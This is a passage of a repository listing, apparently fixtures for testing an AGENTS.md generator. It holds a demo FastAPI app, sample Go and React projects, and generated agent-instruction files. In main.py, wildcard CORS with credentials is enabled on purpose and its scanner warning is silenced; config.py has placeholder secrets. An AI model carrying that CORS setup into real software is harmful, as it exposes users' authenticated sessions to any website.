None: """Delete a user.""" if not user_service.delete(user_id): raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"User with id {user_id} not found", ) -
__init__.py 110 B
"""API route modules.""" from src.routes import health, items, users __all__ = ["health", "items", "users"]
-
-
services
-
item_service.py 2.5 KB
"""Item service for business logic.""" from datetime import UTC, datetime from src.models.item import Item, ItemCreate, ItemUpdate class ItemService: """Service class for item operations.""" def __init__(self) -> None: """Initialize with in-memory storage for demo.""" self._items: dict[int, Item] = {} self._next_id = 1 def get_all(self, skip: int = 0, limit: int = 100) -> list[Item]: """Get all items with pagination.""" items = list(self._items.values()) return items[skip : skip + limit] def get_by_id(self, item_id: int) -> Item | None: """Get an item by ID.""" return self._items.get(item_id) def search(self, query: str, skip: int = 0, limit: int = 100) -> list[Item]: """Search items by name or description.""" query_lower = query.lower() results = [ item for item in self._items.values() if query_lower in item.name.lower() or (item.description and query_lower in item.description.lower()) ] return results[skip : skip + limit] def get_by_owner(self, owner_id: int) -> list[Item]: """Get all items for a specific owner.""" return [item for item in self._items.values() if item.owner_id == owner_id] def create(self, item_data: ItemCreate) -> Item: """Create a new item.""" item = Item( id=self._next_id, name=item_data.name, description=item_data.description, price=item_data.price, quantity=item_data.quantity, is_available=item_data.is_available, owner_id=item_data.owner_id, created_at=datetime.now(UTC), ) self._items[self._next_id] = item self._next_id += 1 return item def update(self, item_id: int, item_data: ItemUpdate) -> Item | None: """Update an existing item.""" item = self._items.get(item_id) if not item: return None update_data = item_data.model_dump(exclude_unset=True) updated_item = item.model_copy( update={ **update_data, "updated_at": datetime.now(UTC), } ) self._items[item_id] = updated_item return updated_item def delete(self, item_id: int) -> bool: """Delete an item.""" if item_id not in self._items: return False del self._items[item_id] return True -
user_service.py 2.1 KB
"""User service for business logic.""" from datetime import UTC, datetime from src.models.user import User, UserCreate, UserUpdate class UserService: """Service class for user operations.""" def __init__(self) -> None: """Initialize with in-memory storage for demo.""" self._users: dict[int, User] = {} self._next_id = 1 def get_all(self, skip: int = 0, limit: int = 100) -> list[User]: """Get all users with pagination.""" users = list(self._users.values()) return users[skip : skip + limit] def get_by_id(self, user_id: int) -> User | None: """Get a user by ID.""" return self._users.get(user_id) def get_by_email(self, email: str) -> User | None: """Get a user by email.""" for user in self._users.values(): if user.email == email: return user return None def create(self, user_data: UserCreate) -> User: """Create a new user.""" user = User( id=self._next_id, email=user_data.email, username=user_data.username, full_name=user_data.full_name, is_active=user_data.is_active, created_at=datetime.now(UTC), ) self._users[self._next_id] = user self._next_id += 1 return user def update(self, user_id: int, user_data: UserUpdate) -> User | None: """Update an existing user.""" user = self._users.get(user_id) if not user: return None update_data = user_data.model_dump(exclude_unset=True) update_data.pop("password", None) # Don't include password in response updated_user = user.model_copy( update={ **update_data, "updated_at": datetime.now(UTC), } ) self._users[user_id] = updated_user return updated_user def delete(self, user_id: int) -> bool: """Delete a user.""" if user_id not in self._users: return False del self._users[user_id] return True -
__init__.py 174 B
"""Business logic services.""" from src.services.item_service import ItemService from src.services.user_service import UserService __all__ = ["ItemService", "UserService"]
-
-
AGENTS.md 2.9 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 --> # AGENTS.md — src <!-- AGENTS-GENERATED:START overview --> ## Overview Backend services (Python) <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `src/config.py` | Application | | `src/__init__.py` | (add description) | | `src/services/__init__.py` | (add description) | | `src/services/item_service.py` | (add description) | | `src/services/user_service.py` | (add description) | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) | Pattern | Reference | |---------|-----------| | Standard implementation | `src/services/item_service.py` | <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Install: `pip install -e .` - Python version: >=3.11 - Package manager: uv - Environment variables: See .env or .env.example <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests - Typecheck: `mypy .` - Format: `ruff format .` - Lint: `ruff check .` - Test: `pytest` <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Follow PEP 8 style guide - Use type hints for all function signatures - Naming: `snake_case` for functions/variables, `PascalCase` for classes - Docstrings: Google style, required for public APIs - Imports: group by stdlib, third-party, local (use isort) - Modern Python: prefer `|` over `Union`, `list` over `List` <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate and sanitize all user inputs - Use parameterized queries for database access - Never use dynamic code execution with untrusted data - Sensitive data: never log or expose in errors - File paths: validate and use `pathlib` for path operations - Subprocess: use list args, avoid shell=True with user input <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Tests pass: `pytest` - [ ] Type check clean: `mypy .` - [ ] Lint clean: `ruff check .` - [ ] Formatted: `ruff format .` - [ ] Public functions have docstrings <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check Python documentation: https://docs.python.org - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions - Use `python -m pydoc <module>` for stdlib help <!-- AGENTS-GENERATED:END help --> -
config.py 1.1 KB
"""Application configuration using pydantic-settings.""" from functools import lru_cache from pydantic_settings import BaseSettings, SettingsConfigDict class Settings(BaseSettings): """Application settings loaded from environment variables.""" model_config = SettingsConfigDict( env_file=".env", env_file_encoding="utf-8", case_sensitive=False, ) # Application app_name: str = "fastapi-app" app_env: str = "development" debug: bool = True # Server host: str = "0.0.0.0" port: int = 8000 workers: int = 1 # Database database_url: str = "postgresql://user:password@localhost:5432/fastapi_app" # Security secret_key: str = "change-me-in-production" api_key: str = "" # External Services redis_url: str = "redis://localhost:6379/0" @property def is_production(self) -> bool: """Check if running in production environment.""" return self.app_env == "production" @lru_cache def get_settings() -> Settings: """Get cached settings instance.""" return Settings() settings = get_settings() -
main.py 1.7 KB
"""FastAPI application entry point.""" from collections.abc import AsyncIterator from contextlib import asynccontextmanager import uvicorn from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware from src.config import settings from src.routes import health, items, users @asynccontextmanager async def lifespan(_app: FastAPI) -> AsyncIterator[None]: """Application lifespan context manager.""" # Startup print(f"Starting {settings.app_name}...") yield # Shutdown print(f"Shutting down {settings.app_name}...") def create_app() -> FastAPI: """Create and configure the FastAPI application.""" app = FastAPI( title=settings.app_name, version="0.1.0", description="Example FastAPI application", lifespan=lifespan, ) # CORS middleware — wildcard origins here are intentional for this # fixture example only; real deployments must set concrete origins # from settings (e.g. settings.cors_allowed_origins). app.add_middleware( CORSMiddleware, allow_origins=["*"], # nosemgrep: python.fastapi.security.wildcard-cors.wildcard-cors allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) # Include routers app.include_router(health.router, tags=["health"]) app.include_router(users.router, prefix="/api/v1/users", tags=["users"]) app.include_router(items.router, prefix="/api/v1/items", tags=["items"]) return app app = create_app() def run() -> None: """Run the application with uvicorn.""" uvicorn.run( "src.main:app", host=settings.host, port=settings.port, reload=settings.debug, ) if __name__ == "__main__": run() -
__init__.py 58 B
"""FastAPI application package.""" __version__ = "0.1.0"
-
-
.env.example 348 B · in bundle
-
AGENTS.md 3.2 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: pyproject.toml — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | mypy . | ~15s | | Lint | ruff check . | ~10s | | Format | ruff format . | ~5s | | Test (single) | pytest | ~2s | | Test (all) | pytest | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` src/ → application source code ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| | Entrypoint | `src/main.py` | (async) | | Service | `src/services/item_service.py` | (class) | <!-- AGENTS-GENERATED:END golden-samples --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding dependency | Update `pyproject.toml` | | Adding env var | Add to `.env.example` first | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow PEP 8 style guide and Python >=3.11 features ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit requirements.txt without pyproject.toml changes - Use print() for logging in production code ## Index of scoped AGENTS.md <!-- AGENTS-GENERATED:START scope-index --> - `./src/AGENTS.md` — Backend services (Python) <!-- AGENTS-GENERATED:END scope-index --> ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Python-specific patterns, follow PEP 8 and project tooling (ruff/black) -
pyproject.toml 1.8 KB
[project] name = "fastapi-app" version = "0.1.0" description = "Example FastAPI application for AGENTS.md generator testing" readme = "README.md" requires-python = ">=3.11" license = { text = "MIT" } authors = [ { name = "Test Author", email = "test@example.com" } ] dependencies = [ "fastapi>=0.109.0", "uvicorn[standard]>=0.27.0", "pydantic>=2.5.0", "pydantic-settings>=2.1.0", "sqlalchemy>=2.0.25", "alembic>=1.13.0", "httpx>=0.26.0", ] [project.optional-dependencies] dev = [ "pytest>=7.4.0", "pytest-asyncio>=0.23.0", "pytest-cov>=4.1.0", "ruff>=0.1.14", "mypy>=1.8.0", "pre-commit>=3.6.0", ] [project.scripts] serve = "src.main:run" [build-system] requires = ["hatchling"] build-backend = "hatchling.build" [tool.hatch.build.targets.wheel] packages = ["src"] [tool.ruff] target-version = "py311" line-length = 100 src = ["src", "tests"] [tool.ruff.lint] select = [ "E", # pycodestyle errors "W", # pycodestyle warnings "F", # Pyflakes "I", # isort "B", # flake8-bugbear "C4", # flake8-comprehensions "UP", # pyupgrade "ARG", # flake8-unused-arguments "SIM", # flake8-simplify ] ignore = ["E501"] [tool.ruff.lint.isort] known-first-party = ["src"] [tool.mypy] python_version = "3.11" strict = true warn_return_any = true warn_unused_configs = true plugins = ["pydantic.mypy"] [[tool.mypy.overrides]] module = ["uvicorn.*"] ignore_missing_imports = true [tool.pytest.ini_options] testpaths = ["tests"] asyncio_mode = "auto" addopts = "-v --cov=src --cov-report=term-missing" [tool.coverage.run] source = ["src"] branch = true [tool.coverage.report] exclude_lines = [ "pragma: no cover", "if TYPE_CHECKING:", "if __name__ == .__main__.:", ] -
uv.lock 136 B · in bundle
-
-
go-api-with-react-admin
-
admin
-
src
-
App.tsx 101 B · in bundle
-
-
package.json 423 B
{ "name": "admin-dashboard", "private": true, "scripts": { "dev": "vite", "build": "vite build", "test": "vitest", "lint": "eslint src" }, "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0" }, "devDependencies": { "vite": "^8.0.8", "vitest": "^4.1.11", "eslint": "^8.56.0", "typescript": "^5.3.0" } }
-
-
cmd
-
api
-
main.go 75 B · in bundle
-
-
-
.scopes 93 B · in bundle
-
AGENTS.md 3 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: go.mod — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | go build -v ./... | ~15s | | Format | gofmt -w . | ~5s | | Test (single) | go test -v -race | ~2s | | Test (all) | go test -v -race -short ./... | ~30s | | Build | go build -v ./... | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` admin/ → configuration/data cmd/ → CLI entrypoints ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| | Entrypoint | `cmd/api/main.go` | standard patterns | | Entrypoint | `main.go` | standard patterns | <!-- AGENTS-GENERATED:END golden-samples --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding package | Internal → `internal/`, Public → `pkg/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow Go 1.22 conventions and idioms ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit go.sum without go.mod changes ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Go-specific patterns, defer to language idioms and standard library conventions -
go.mod 31 B · in bundle
-
main.go 71 B · in bundle
-
-
go-with-internal-web-tsx
-
internal
-
web
-
src
-
App.tsx 57 B · in bundle
-
Button.tsx 63 B · in bundle
-
Footer.tsx 63 B · in bundle
-
Header.tsx 63 B · in bundle
-
Sidebar.tsx 65 B · in bundle
-
-
AGENTS.md 3.1 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-04 --> # AGENTS.md — web <!-- AGENTS-GENERATED:START overview --> ## Overview Frontend application (TypeScript/React/Vue) <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `internal/web/src/Sidebar.tsx` | (add description) | | `internal/web/src/App.tsx` | (add description) | | `internal/web/src/Button.tsx` | (add description) | | `internal/web/src/Header.tsx` | (add description) | | `internal/web/src/Footer.tsx` | (add description) | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) | Pattern | Reference | |---------|-----------| | Standard implementation | `internal/web/src/Sidebar.tsx` | <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Framework: react - Package manager: npm - Environment variables: See .env.example <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests - Install: `npm install` - Typecheck: `npx tsc --noEmit` - Lint: `npx eslint .` - Format: `npx prettier --write .` - Test: `npm test` - Build: `npm run build` - Dev server: `npm run dev` <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Follow tsconfig.json compiler options - Use functional components with hooks - Naming: `camelCase` for variables/functions, `PascalCase` for components - File naming: `ComponentName.tsx`, `utilityName.ts` - Imports: group and sort (external, internal, types) - Avoid class components <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Sanitize user inputs before rendering - Raw HTML rendering only with sanitized content (use DOMPurify) - Validate environment variables at build time - Never expose secrets in client-side code - Use HTTPS for all API calls - Implement CSP headers - WCAG 2.2 AA accessibility compliance <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Tests pass: `npm test` - [ ] TypeScript compiles: `npx tsc --noEmit` - [ ] Lint clean: `npx eslint .` - [ ] Formatted: `npx prettier --write .` - [ ] Accessibility: keyboard navigation works, ARIA labels present - [ ] Responsive: tested on mobile, tablet, desktop - [ ] Performance: no unnecessary re-renders <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check React documentation: https://react.dev - Review TypeScript handbook: https://www.typescriptlang.org/docs/ - Check root AGENTS.md for project-wide conventions - Review existing components for patterns <!-- AGENTS-GENERATED:END help --> -
package.json 329 B
{ "name": "internal-web", "private": true, "scripts": { "dev": "vite", "build": "vite build", "test": "vitest" }, "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0" }, "devDependencies": { "vite": "^8.0.8", "vitest": "^4.1.11" } }
-
-
-
.scopes 102 B · in bundle
-
AGENTS.md 3.1 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: go.mod — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | go build -v ./... | ~15s | | Format | gofmt -w . | ~5s | | Test (single) | go test -v -race | ~2s | | Test (all) | go test -v -race -short ./... | ~30s | | Build | go build -v ./... | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` internal/ → internal packages (not exported) ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| | Entrypoint | `main.go` | standard patterns | <!-- AGENTS-GENERATED:END golden-samples --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding package | Internal → `internal/`, Public → `pkg/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow Go 1.22 conventions and idioms ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit go.sum without go.mod changes ## Index of scoped AGENTS.md <!-- AGENTS-GENERATED:START scope-index --> - `./internal/web/AGENTS.md` — Frontend application (TypeScript/React/Vue) <!-- AGENTS-GENERATED:END scope-index --> ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Go-specific patterns, defer to language idioms and standard library conventions -
go.mod 34 B · in bundle
-
main.go 85 B · in bundle
-
package-lock.json 87 B
{ "name": "frontend", "lockfileVersion": 3, "requires": true, "packages": {} } -
package.json 221 B
{ "name": "frontend", "scripts": { "build": "vite build", "test": "vitest" }, "devDependencies": { "react": "^18.0.0", "vite": "^8.0.8", "vitest": "^4.1.11" } }
-
-
ldap-selfservice
-
AGENTS.md 2.5 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: go.mod — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | go build -v ./... | ~15s | | Format | gofmt -w . | ~5s | | Test (single) | go test -v -race | ~2s | | Test (all) | go test -v -race -short ./... | ~30s | | Build | go build -v ./... | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding package | Internal → `internal/`, Public → `pkg/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow Go 1.25 conventions and idioms ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit go.sum without go.mod changes ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Go-specific patterns, defer to language idioms and standard library conventions -
go.mod 45 B · in bundle
-
internal-AGENTS.md 10 KB
# Go Backend Services <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 --> **Scope**: Go backend packages in `internal/` directory **See also**: [../AGENTS.md](../AGENTS.md) for global standards, [web/AGENTS.md](web/AGENTS.md) for frontend ## Overview Backend services for LDAP selfservice password change/reset functionality. Organized as internal Go packages: - **email/**: SMTP email service for password reset tokens - **options/**: Configuration management from environment variables - **ratelimit/**: IP-based rate limiting (3 req/hour default) - **resettoken/**: Cryptographic token generation and validation - **rpc/**: JSON-RPC 2.0 API handlers (password change/reset) - **validators/**: Password policy validation logic - **web/**: HTTP server setup, static assets, routing (see [web/AGENTS.md](web/AGENTS.md)) ## Setup/Environment **Required environment variables** (configure in `.env.local`): ```bash # LDAP connection LDAP_URL=ldaps://ldap.example.com:636 LDAP_USER_BASE_DN=ou=users,dc=example,dc=com LDAP_BIND_DN=cn=admin,dc=example,dc=com LDAP_BIND_PASSWORD=secret # Email for password reset SMTP_HOST=smtp.example.com SMTP_PORT=587 SMTP_USER=noreply@example.com SMTP_PASSWORD=secret SMTP_FROM=noreply@example.com APP_BASE_URL=https://passwd.example.com # Rate limiting (optional) RATE_LIMIT_REQUESTS=3 RATE_LIMIT_WINDOW=1h # Token expiry (optional) TOKEN_EXPIRY_DURATION=1h ``` **Go toolchain**: Requires Go 1.25+ (specified in `go.mod`) **Key dependencies**: - `github.com/gofiber/fiber/v2` - HTTP server - `github.com/netresearch/simple-ldap-go` - LDAP client - `github.com/testcontainers/testcontainers-go` - Integration testing - `github.com/joho/godotenv` - Environment loading ## Build & Tests ```bash # Development go run . # Start server with hot-reload (via pnpm go:dev) go build -v ./... # Compile all packages go test -v ./... # Run all tests with verbose output # Specific package testing go test ./internal/validators/... # Test password validators go test ./internal/ratelimit/... # Test rate limiter go test ./internal/resettoken/... # Test token generation go test -run TestSpecificFunction # Run specific test # Integration tests (uses testcontainers) go test -v ./internal/email/... # Requires Docker for MailHog container # Coverage go test -cover ./... # Coverage summary go test -coverprofile=coverage.out ./... && go tool cover -html=coverage.out # Build optimized binary CGO_ENABLED=0 go build -ldflags="-w -s" -o ldap-passwd ``` **CI validation** (from `.github/workflows/check.yml`): ```bash go mod download go build -v ./... go test -v ./... ``` ## Code Style **Go Standards**: - Use `go fmt` (automatic via Prettier with go-template plugin) - Follow [Effective Go](https://go.dev/doc/effective_go) - Package-level documentation comments required - Exported functions must have doc comments **Project Conventions**: - Internal packages only: No public API outside this project - Error wrapping with context: `fmt.Errorf("context: %w", err)` - Use structured logging (consider adding in future) - Prefer explicit over implicit - Use interfaces for testability (see `email/service.go`) **Naming**: - `internal/package/file.go` - implementation - `internal/package/file_test.go` - tests - Descriptive variable names (not `x`, `y`, `tmp`) - No stuttering: `email.Service`, not `email.EmailService` **Error Handling**: ```go // ✅ Good: wrap with context if err != nil { return fmt.Errorf("failed to connect LDAP at %s: %w", config.URL, err) } // ❌ Bad: lose context if err != nil { return err } // ❌ Worse: ignore conn, _ := ldap.Dial(url) ``` **Testing**: - Table-driven tests preferred - Use testcontainers for external dependencies (LDAP, SMTP) - Test files colocated with code: `validators/validate_test.go` - Descriptive test names: `TestPasswordValidation_RequiresMinimumLength` ## Security **LDAP Security**: - Always use LDAPS in production (`ldaps://` URLs) - Bind credentials in environment, never hardcoded - Validate user input before LDAP queries (prevent injection) - Use `simple-ldap-go` helpers to avoid raw LDAP filter construction **Password Security**: - Never log passwords (plain or hashed) - No password storage - passwords go directly to LDAP - Passwords only in memory during request lifetime - HTTPS required for transport security **Token Security**: - Cryptographic random tokens (see `resettoken/token.go`) - Configurable expiry (default 1h) - Single-use tokens (invalidated after use) - No token storage in logs or metrics **Rate Limiting**: - IP-based limits: 3 requests/hour default - Configurable via `RATE_LIMIT_*` env vars - In-memory store (consider Redis for multi-instance) - Apply to both change and reset endpoints **Input Validation**: - Strict validation on all user inputs (see `validators/`) - Reject malformed requests early - Validate email format, username format, password policies - No HTML/script injection vectors ## PR/Commit Checklist **Before committing Go code**: - [ ] Run `go fmt ./...` (or `pnpm prettier --write .`) - [ ] Run `go vet ./...` (static analysis) - [ ] Run `go test ./...` (all tests pass) - [ ] Run `go build` (compilation check) - [ ] Update package doc comments if API changed - [ ] Add/update tests for new functionality - [ ] Check for sensitive data in logs - [ ] Verify error messages provide useful context **Testing requirements**: - New features must have tests - Bug fixes must have regression tests - Aim for ≥80% coverage on changed packages - Integration tests for external dependencies **Documentation**: - Update package doc comments (godoc) - Update [docs/api-reference.md](../docs/api-reference.md) for RPC changes - Update [docs/development-guide.md](../docs/development-guide.md) for new setup steps - Update environment variable examples in `.env` and docs ## Good vs Bad Examples **✅ Good: Type-safe configuration** ```go type Config struct { LDAPURL string `env:"LDAP_URL" validate:"required,url"` BindDN string `env:"LDAP_BIND_DN" validate:"required"` BindPassword string `env:"LDAP_BIND_PASSWORD" validate:"required"` } func LoadConfig() (*Config, error) { var cfg Config if err := env.Parse(&cfg); err != nil { return nil, fmt.Errorf("parse config: %w", err) } return &cfg, nil } ``` **❌ Bad: Unsafe configuration** ```go func LoadConfig() *Config { return &Config{ LDAPURL: os.Getenv("LDAP_URL"), // ❌ no validation, may be empty } } ``` **✅ Good: Table-driven tests** ```go func TestPasswordValidation(t *testing.T) { tests := []struct { name string password string policy PasswordPolicy wantErr bool }{ {"valid password", "Test123!", PasswordPolicy{MinLength: 8}, false}, {"too short", "Ab1!", PasswordPolicy{MinLength: 8}, true}, {"no numbers", "TestTest", PasswordPolicy{RequireNumbers: true}, true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidatePassword(tt.password, tt.policy) if (err != nil) != tt.wantErr { t.Errorf("got error %v, wantErr %v", err, tt.wantErr) } }) } } ``` **❌ Bad: Non-descriptive tests** ```go func TestPassword(t *testing.T) { err := ValidatePassword("test") // ❌ what policy? what's expected? if err == nil { t.Fail() } } ``` **✅ Good: Interface for testability** ```go type EmailService interface { SendResetToken(ctx context.Context, to, token string) error } type SMTPService struct { host string port int } func (s *SMTPService) SendResetToken(ctx context.Context, to, token string) error { // real implementation } // In tests, use mock implementation type MockEmailService struct { SendFunc func(ctx context.Context, to, token string) error } ``` **❌ Bad: Hard-to-test concrete dependency** ```go func ResetPassword(username string) error { service := NewSMTPService() // ❌ hardcoded, can't mock return service.SendEmail(...) } ``` ## When Stuck **Go-specific issues**: 1. **Module issues**: `go mod tidy` to clean dependencies 2. **Import errors**: Check `go.mod` requires correct versions 3. **Test failures**: `go test -v ./... -run FailingTest` for verbose output 4. **LDAP connection**: Verify `LDAP_URL` format and network access 5. 